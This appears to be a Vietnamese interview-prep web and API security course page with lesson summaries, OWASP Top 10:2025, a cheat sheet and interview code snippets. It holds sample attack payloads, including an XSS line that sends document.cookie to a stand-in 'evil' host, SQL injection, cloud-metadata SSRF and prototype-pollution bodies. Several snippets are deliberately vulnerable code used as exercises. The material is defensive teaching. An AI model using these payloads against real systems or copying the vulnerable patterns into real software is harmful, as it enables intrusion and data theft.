// Vulnerable
await db.query(`SELECT * FROM users WHERE email = '${email}'`);
// Safe
await db.query('SELECT * FROM users WHERE email = $1', [email]);
Web & API Security
draftedOWASP Top 10:2025, XSS/CSRF/SQLi/SSRF, IDOR/BOLA, CSP, CORS, secrets, password hashing, supply chain, API security checklist.
0/64 rated · mastery 0%
Bài học
12 bài · ~129 phút đọc. Học theo thứ tự, rồi làm câu hỏi.- 01~16 phút· 5 câuverify
Tư duy bảo mật, threat modeling và OWASP Top 10
Mọi input đều không đáng tin, trust boundary, least privilege và defense in depth với ví dụ Postgres thật, threat model một flow checkout bằng STRIDE, OWASP Top 10:2025 và API Security Top 10:2023, và cách đưa security tooling vào team mà không chìm trong false positive.
- 02~11 phút· 4 câuverify
Same-Origin Policy, origin vs site và CORS
SOP chặn đọc chứ không chặn gửi, origin khác site thế nào, simple request vs preflight, Access-Control-Allow-Credentials và Vary: Origin, và đo thật trong Chrome 154 vì sao reflect Origin + credentials cho bất kỳ website nào đọc dữ liệu của user.
- 03~12 phút· 5 câuverify
CSRF, cookie attributes và SameSite
Vì sao cookie tự gửi tạo ra CSRF, SameSite Strict/Lax/None và giới hạn của nó, HttpOnly/Secure/__Host- đo thật trong Chrome, so sánh synchronizer token, signed double-submit, Origin/Fetch Metadata và custom header, login CSRF, session fixation và xác thực Socket.IO chống Cross-Site WebSocket Hijacking.
- 04~10 phút· 5 câuverify
XSS: stored, reflected, DOM và output encoding theo context
Ba loại XSS và vì sao HttpOnly không cứu, output encoding theo context là biện pháp chính, React vẫn dính XSS ở đâu (dangerouslySetInnerHTML, javascript: URL, JSON nhúng vào <script>), sanitize rich text bằng DOMPurify đo thật, mutation XSS, và xử lý stored XSS trong admin panel.
- 05~11 phút· 5 câuverify
CSP, security headers, clickjacking và HSTS
Strict CSP với nonce và strict-dynamic đo thật trong Chrome 154 (chặn inline, cho strict-dynamic load script con), bypass allowlist qua JSONP và thiếu base-uri, Trusted Types chặn DOM XSS, frame-ancestors chống clickjacking, HSTS và TLS bảo đảm gì, và bộ header helmet đặt mặc định.
- 06~9 phút· 5 câuverify
Injection: SQL, NoSQL, search query và prototype pollution
Vì sao parameterized query tách code khỏi data chứ không phải escaping, identifier (ORDER BY) phải allowlist, một endpoint 'đã parameterized' vẫn injectable, NoSQL operator injection, query_string trong Elasticsearch, và prototype pollution trong Node — đo thật trên Postgres 17.
- 07~11 phút· 9 câuverify
Broken Access Control: IDOR/BOLA, BFLA, mass assignment và tenant isolation
Lỗi số một của OWASP: object-level authorization (IDOR/BOLA), function-level (BFLA), mass assignment (BOPLA), deny-by-default với route registry test, RLS trên Postgres 17 làm lớp cuối (kèm bẫy pooled connection), coupon race atomic, và xử lý sự cố rò dữ liệu giữa tenant — tất cả đo thật.
- 08~8 phút· 4 câuverify
SSRF, open redirect và file upload
Server bị lừa gọi URL nội bộ/cloud metadata, vì sao validate hostname string là chưa đủ (IP dạng thập phân/hex, IPv4-mapped IPv6, DNS rebinding), fetcher an toàn pin IP đã resolve, open redirect sau login với startsWith('/') bị bypass, và kiểm soát file upload bằng magic bytes — đo thật.
- 09~11 phút· 7 câuverify
Password hashing, brute force, credential stuffing và rate limit
Vì sao SHA-256 không được dùng cho password, tham số argon2id/bcrypt/scrypt/PBKDF2 đo thật trên M1, bẫy 72 byte của bcrypt, rehash khi login, rate limit nhiều chiều và cái bẫy trust proxy sau ALB (đo thật), xử lý credential stuffing lúc 2 giờ sáng, MFA vs conversion, và OAuth account linking an toàn.
- 10~11 phút· 7 câuverify
Hashing, encryption, envelope encryption và secrets management
Encoding vs hashing vs HMAC vs encryption, AES-256-GCM với AAD và vì sao IV không được lặp (đo thật khôi phục plaintext), envelope encryption KEK/DEK và key rotation, blind index để tra cứu dữ liệu mã hoá, secrets manager/OIDC/IRSA thay env file, và vì sao xoá .env khỏi commit không giải quyết gì (đo thật git history).
- 11~10 phút· 5 câuverify
API hardening: resource consumption, webhook, timing và fail-safe
ReDoS làm nghẽn event loop (đo thật backtracking mũ), các giới hạn tài nguyên khác, webhook HMAC + timestamp + dedupe chống replay (đo thật trên Postgres), timingSafeEqual và user enumeration, fail-open vs fail-closed (A10:2025) với middleware authz/rate-limit thật, và checklist bảo mật cho API public cho đối tác.
- 12~9 phút· 4 câuverify
Supply chain, security logging và incident response
Tấn công supply chain trên npm (typosquat, maintainer takeover, install scripts, dependency confusion), kiểm soát bằng lockfile/npm ci/allowScripts/provenance/pin SHA (đo thật), logging có ích cho điều tra mà không lộ PII với pino redact và chống log injection (đo thật), và cách kể một sự cố bảo mật trong phỏng vấn.
Tóm tắt & cheat sheet của track
TL;DR
- Lỗi bảo mật phổ biến nhất ở backend hiện đại không phải SQL injection mà là Broken Access Control (IDOR/BOLA, thiếu check tenant) — đứng #1 cả OWASP Top 10:2021 lẫn 2025, và API1 trong OWASP API Security Top 10:2023.
- Tư duy đúng: mọi input không đáng tin (body, header, cookie, JWT claim chưa verify, file, URL, webhook), mọi output phải encode theo context, mọi resource phải check quyền ở object level.
- Browser security là các cơ chế riêng rẽ, dễ nhầm: SOP (chặn đọc cross-origin), CORS (nới SOP có kiểm soát — không bảo vệ server), CSRF (lợi dụng credential tự gửi kèm), CSP (giới hạn script được chạy — lớp phòng thủ thứ hai cho XSS).
- Defense in depth: validation → parameterized query → authorization → rate limit → logging/alerting → secrets & crypto đúng → supply chain.
- Senior interview hỏi tình huống: key bị lộ, credential stuffing, tenant thấy dữ liệu tenant khác — bạn làm gì trong 1 giờ đầu?
Khái niệm cốt lõi
| Khái niệm | Một câu | Ví dụ ngắn |
|---|---|---|
| XSS | Attacker chèn script chạy trong origin của bạn | <img src=x onerror=fetch('//evil/?c='+document.cookie)> trong comment |
| CSRF | Site khác khiến browser nạn nhân gửi request kèm cookie | Form auto-submit POST /transfer từ evil.com |
| SQL injection | Input trở thành một phần của câu SQL | ' OR 1=1 -- trong WHERE email = '${email}' |
| SSRF | Server bị lừa gọi URL do attacker chọn | Webhook URL = http://169.254.169.254/latest/meta-data/ |
| IDOR / BOLA | Truy cập object của người khác bằng cách đổi ID | GET /orders/1043 trả đơn của user khác |
| Mass assignment | Bind toàn bộ body vào model | { "role": "admin" } trong PATCH /me |
| CSP | Header khai báo nguồn script/style được phép | script-src 'nonce-r4nd0m' 'strict-dynamic' |
| CORS | Server cho phép origin khác đọc response | Access-Control-Allow-Origin: https://app.example.com |
| Password hashing | Hàm chậm, có salt, chống brute force | argon2id (m=19 MiB, t=2, p=1 theo OWASP) |
| Envelope encryption | Data key mã hoá dữ liệu, master key (KMS) mã hoá data key | AWS KMS GenerateDataKey |
Cơ chế hoạt động
CSRF: tại sao cookie là vấn đề, và các lớp chặn
Request đi qua các lớp phòng thủ của một API
OWASP Top 10:2025 (so với 2021)
| 2025 | Ghi chú |
|---|---|
| A01 Broken Access Control | Vẫn #1; SSRF được gộp vào đây |
| A02 Security Misconfiguration | Lên từ #5 |
| A03 Software Supply Chain Failures | Mở rộng từ "Vulnerable and Outdated Components" |
| A04 Cryptographic Failures | Xuống từ #2 |
| A05 Injection | Gồm cả XSS |
| A06 Insecure Design | |
| A07 Authentication Failures | |
| A08 Software or Data Integrity Failures | |
| A09 Security Logging and Alerting Failures | Đổi tên, nhấn mạnh alerting |
| A10 Mishandling of Exceptional Conditions | Mới: fail-open, lỗi xử lý exception |
Trade-offs
| Quyết định | Lựa chọn A | Lựa chọn B | Ghi chú |
|---|---|---|---|
| Token ở browser | HttpOnly cookie (cần chống CSRF) | Authorization header từ JS memory (cần chống XSS) | BFF + cookie thường an toàn nhất cho SPA |
| CSP | Strict (nonce + strict-dynamic) | Allowlist domain | Allowlist dễ bị bypass qua JSONP/CDN chung |
| Sanitize HTML | Server-side (DOMPurify/jsdom, sanitize-html) | Client-side khi render | Làm cả hai nếu lưu rich text; encode vẫn là mặc định |
| Rate limit khi hạ tầng lỗi | Fail-open | Fail-closed | Login/OTP → closed; read API → open + alert |
| Password hash | argon2id | bcrypt | bcrypt vẫn chấp nhận được; chú ý giới hạn 72 byte |
| Secrets | Env var inject lúc runtime | Secrets manager + short-lived creds | Không bao giờ trong git/image |
Pitfalls
- Check quyền ở route (
requireRole('admin')) nhưng không check object thuộc về ai/tenant nào. cors({ origin: true, credentials: true })= mọi site đọc được API bằng cookie của user.- Tin
X-Forwarded-For/X-Tenant-Idtừ client;app.set('trust proxy', true)sai chỗ. dangerouslySetInnerHTML,href={userUrl}(javascript:), nhúng JSON vào<script>khi SSR mà không escape</script>.- Log nguyên
req.body/header → lộ password, token, PII vào log hệ thống. - Hash password bằng SHA-256/MD5 (nhanh = dễ brute force); so sánh token bằng
===(timing). - Validate bằng denylist ("chặn
<script>") thay vì allowlist schema + output encoding. npm installpackage mới không xem maintainer/postinstall; không commit lockfile.
Cheat sheet
- Headers:
Strict-Transport-Security,Content-Security-Policy,X-Content-Type-Options: nosniff,Referrer-Policy: strict-origin-when-cross-origin,frame-ancestors(thayX-Frame-Options),Permissions-Policy; bỏX-XSS-Protection(deprecated). - Cookie session:
HttpOnly; Secure; SameSite=Lax; Path=/+ prefix__Host-. - SQL: luôn parameterized; identifier (cột ORDER BY) → allowlist.
- AuthZ: deny by default, check object + tenant ở service layer, test cross-tenant.
- SSRF: allowlist host, resolve DNS rồi chặn private/link-local/metadata IP, không follow redirect mù, IMDSv2.
- Password: argon2id/bcrypt/scrypt, salt tự sinh, rate limit + breached-password check, MFA.
- Supply chain: lockfile,
npm ci, review dependency mới, pin action theo SHA, provenance/SBOM, tắt install scripts khi có thể. - Log: structured, redact, correlation id; alert trên pattern tấn công.
References
- OWASP Top 10:2025 ↗
- OWASP API Security Top 10 (2023) ↗
- OWASP Cheat Sheet — Cross-Site Request Forgery Prevention ↗
- OWASP Cheat Sheet — Cross Site Scripting Prevention ↗
- OWASP Cheat Sheet — Password Storage ↗
- OWASP Cheat Sheet — Server Side Request Forgery Prevention ↗
- OWASP Cheat Sheet — Mass Assignment ↗
- OWASP Cheat Sheet — Secrets Management ↗
- OWASP Cheat Sheet — Logging ↗
- OWASP Cheat Sheet — HTTP Headers ↗
- MDN — Content Security Policy (CSP) ↗
- MDN — Cross-Origin Resource Sharing (CORS) ↗
- MDN — Set-Cookie (SameSite, cookie prefixes) ↗
- web.dev — Mitigate XSS with a strict CSP ↗
- NIST SP 800-63B — Digital Identity Guidelines (Authentication) ↗
- npm Docs — Generating provenance statements ↗
- Express — Behind proxies (trust proxy) ↗
Personal notes (Notion)
Ghi chú cá nhân — có thể sai hoặc lỗi thời, dùng để tham khảo.
Interview Questions
Showing 64 / 64
<a href={profile.website}>Website</a> // javascript: URL runs on click
<div dangerouslySetInnerHTML={{ __html: review.body }} /> // stored XSS
Content-Security-Policy:
script-src 'nonce-9f2c1a7e' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none'; base-uri 'none'; frame-ancestors 'none';
# 'unsafe-inline' and https: are ignored by CSP3 browsers when a nonce/strict-dynamic is present;
# they only serve as fallbacks for very old browsers.
const UpdateProfile = z.object({ displayName: z.string().max(80), phone: z.string().optional() }).strict();
app.patch('/me', async (req, res) => {
const input = UpdateProfile.parse(req.body); // rejects { role: 'admin' }
res.json(toProfileDto(await users.update(req.user.id, input)));
});
import pino from 'pino';
const logger = pino({
redact: { paths: ['req.headers.authorization', 'req.headers.cookie', '*.password', '*.token', '*.cardNumber'], censor: '[REDACTED]' },
});
Set-Cookie: __Host-sid=4f1c...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800
app.get('/products', async (req, res) => {
const { q, sort = 'created_at', dir = 'desc' } = req.query as Record<string, string>;
const rows = await knex.raw(
`SELECT id, name, price FROM products
WHERE tenant_id = ? AND name ILIKE ?
ORDER BY ${sort} ${dir} LIMIT 50`,
[req.tenantId, `%${q}%`],
);
res.json(rows.rows);
});
router.get('/api/orders/:id', requireAuth, async (req, res) => {
const order = await prisma.order.findUnique({ where: { id: req.params.id }, include: { address: true } });
if (!order) return res.status(404).end();
res.json(order);
});
app.patch('/api/users/me', requireAuth, async (req, res) => {
const user = await prisma.user.update({
where: { id: req.user.id },
data: req.body, // { "displayName": "Bob", "role": "ADMIN", "tenantId": "other" }
});
res.json(user); // includes passwordHash, mfaSecret
});
app.use(cors({
origin: (origin, cb) => cb(null, origin), // reflect any origin
credentials: true,
}));
// session is a cookie with SameSite=None; Secure
app.get('/login/callback', async (req, res) => {
await completeLogin(req, res);
const next = String(req.query.next ?? '/');
if (next.startsWith('/')) return res.redirect(next);
res.redirect('/');
});
app.post('/api/link-preview', requireAuth, async (req, res) => {
const { url } = req.body;
if (!/^https?:\/\//.test(url)) return res.status(400).end();
const r = await fetch(url, { redirect: 'follow' });
const html = await r.text();
res.json({ title: extractTitle(html), raw: html.slice(0, 2000) });
});
function merge(target: any, src: any) {
for (const key in src) {
if (typeof src[key] === 'object' && src[key] !== null) {
target[key] ??= {};
merge(target[key], src[key]);
} else target[key] = src[key];
}
return target;
}
app.patch('/prefs', (req, res) => { merge(req.user.prefs, req.body); res.sendStatus(204); });
// body: {"__proto__": {"isAdmin": true}}
const slow = /^(\w+\s?)*$/;
slow.test('a'.repeat(30) + '!'); // exponential backtracking, event loop blocked
import { createHmac, timingSafeEqual } from 'node:crypto';
function verifySignature(body: string, header: string, secret: string) {
const expected = createHmac('sha256', secret).update(body).digest();
const given = Buffer.from(header, 'hex');
return given.length === expected.length && timingSafeEqual(given, expected);
}
app.set('trust proxy', true); // trusts client-supplied X-Forwarded-For
// curl -H 'X-Forwarded-For: 1.2.3.4' ... -> new rate-limit bucket every time